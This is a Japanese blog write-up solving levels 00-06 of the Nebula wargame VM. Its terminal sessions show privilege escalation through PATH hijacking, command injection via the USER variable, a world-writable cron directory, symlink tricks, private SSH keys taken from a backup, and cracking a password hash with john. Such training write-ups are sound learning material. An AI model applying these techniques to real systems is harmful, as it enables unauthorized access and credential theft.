Exploit Exercises Nebula Level00-06 writeup

Exploit Exercisesとは

exploit寄りの問題がいっぱい載っているサイトで、問題が入ったVMが配布されている。

https://exploit-exercises.com

Nebula, Protostar, Fusion, Main Sequence, Cloud Roadの5つのコースがあって、今回はNebulaをlevel00-06まで解いた。
Nebulaでは、シェルコードとか書かなさげだし他のコースもやっていきたい。

writeup

Level00

Level00 - Exploit Exercises

suidがflag00になってるファイルを探す。

level00@nebula:~$ find / -executable -user flag00 2> /dev/null
/bin/.../flag00
/home/flag00
/rofs/bin/.../flag00
/rofs/home/flag00
level00@nebula:~$ ls -la /bin/.../
total 8
drwxr-xr-x 2 root   root      29 2011-11-20 21:22 .
drwxr-xr-x 3 root   root    2728 2012-08-18 02:50 ..
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 flag00
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!

2> /dev/null で標準エラー出力を捨てれる。

Level01

Level01 - Exploit Exercises

system("/usr/bin/env echo and now what?")というコードがあるので、偽echoのシンボリックリンクを作ってpathを通す。

level01@nebula:/home/flag01$ ls -la
total 13
drwxr-x--- 2 flag01 level01   92 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     180 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile
level01@nebula:/home/flag01$ ./flag01
and now what?
level01@nebula:/home/flag01$ cd
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account

Level02

Level02 - Exploit Exercises

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));というコードがあるので、いい感じにUSER環境変数を変更する。

level02@nebula:/home/flag02$ ls -la
total 13
drwxr-x--- 2 flag02 level02   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
-rw-r--r-- 1 flag02 flag02   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag02 flag02  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
-rw-r--r-- 1 flag02 flag02   675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$ export USER=';getflag;echo'
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;getflag;echo is cool")

You have successfully executed getflag on a target account
is cool

Level03

Level03 - Exploit Exercises

writable.shがcronで数分ごとに実行されている。writable.shはwritable.dないのファイルを読み込むので、それを利用してgetflagを実行する。

level03@nebula:/home/flag03$ getflag
getflag is executing on a non-flag account, this doesn't count
level03@nebula:/home/flag03$ ls -la
total 6
drwxr-x--- 1 flag03 level03   60 2011-11-20 20:39 .
drwxr-xr-x 1 root   root     260 2012-08-27 07:18 ..
-rw-r--r-- 1 flag03 flag03   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag03 flag03  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag03 flag03   675 2011-05-18 02:54 .profile
drwxrwxrwx 1 flag03 flag03    40 2015-05-07 19:24 writable.d
-rwxr-xr-x 1 flag03 flag03    98 2011-11-20 21:22 writable.sh
level03@nebula:/home/flag03$ cat writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

level03@nebula:/home/flag03$ echo 'getflag > /tmp/log' > ./writable.d/foo
level03@nebula:/home/flag03$ cat /tmp/log
cat: /tmp/log: No such file or directory
level03@nebula:/home/flag03$ cat /tmp/log
You have successfully executed getflag on a target account

Level04

Level04 - Exploit Exercises

tokenという名前のファイルは読み込んでくれないので、シンボリックリンクでごまかす。

level04@nebula:/home/flag04$ ls -la
total 13
drwxr-x--- 2 flag04 level04   93 2011-11-20 21:52 .
drwxr-xr-x 1 root   root     260 2012-08-27 07:18 ..
-rw-r--r-- 1 flag04 flag04   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag04 flag04  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw-r--r-- 1 flag04 flag04   675 2011-05-18 02:54 .profile
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$ cd
level04@nebula:~$ ln -s /home/flag04/token ./fake
level04@nebula:~$ /home/flag04/flag04 ./fake
06508b5e-8909-4f38-b630-fdb148a848a2

Level05

Level05 - Exploit Exercises

.sshにはアクセスできないけど、backupファイルにはアクセスできるので展開してsshする。

level05@nebula:/home/flag05$ ls -la
total 9
drwxr-x--- 1 flag05 level05   80 2015-05-07 15:41 .
drwxr-xr-x 1 root   root     260 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
-rw------- 1 flag05 flag05    61 2015-05-07 15:55 .bash_history
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag05 flag05    60 2015-05-07 15:40 .cache
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh
level05@nebula:/home/flag05$ cd .backup
level05@nebula:/home/flag05/.backup$ ls -la
total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 1 flag05 level05   80 2015-05-07 15:41 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz
.ssh/
tar: .ssh: Cannot mkdir: Permission denied
.ssh/id_rsa.pub
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/id_rsa.pub: Cannot open: No such file or directory
.ssh/id_rsa
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/id_rsa: Cannot open: No such file or directory
.ssh/authorized_keys
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/authorized_keys: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors
level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz -C ~/
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/home/flag05/.backup$ cd
level05@nebula:~$ cd .ssh
level05@nebula:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts
level05@nebula:~/.ssh$ ssh -i id_rsa flag05@localhost
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  


flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Level06

Level06 - Exploit Exercises

The flag06 account credentials came from a legacy unix system.とのことなので、johnでpasswordクラック。

level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

VMにjohnは入ってなかったのでローカルでやった。

tkmru: ~$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > pass.txt
tkmru: ~$ john pass.txt
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello            (flag06)
1g 0:00:00:00 100% 2/3 50.00g/s 37650p/s 37650c/s 37650C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
level06@nebula:~$ su flag06
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account

余談

VirtualBoxVMを動かしているのだが、Guest Additionsを入れようとすると、よくわからない画面が出たりしてうまくいかなくてイラついてたけど、sshして解決した。

f:id:TAKEmaru:20150509102845p:plain

Guest AdditionsがないとホストとVM間でコピペしたり、共有フォルダを使ったりできなくてつらい。

ポートフォワーディングの設定して、id: nebula, pass: nebulaでログインして鍵生成したらsshできた。
これをやらないとno hostkey algって言われる。

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

あと、.bashrcにalias ll='ls -alF'とか、alias la='ls -A'とか、alias l='ls -CF'とかあって お?(・∀・)ってなった。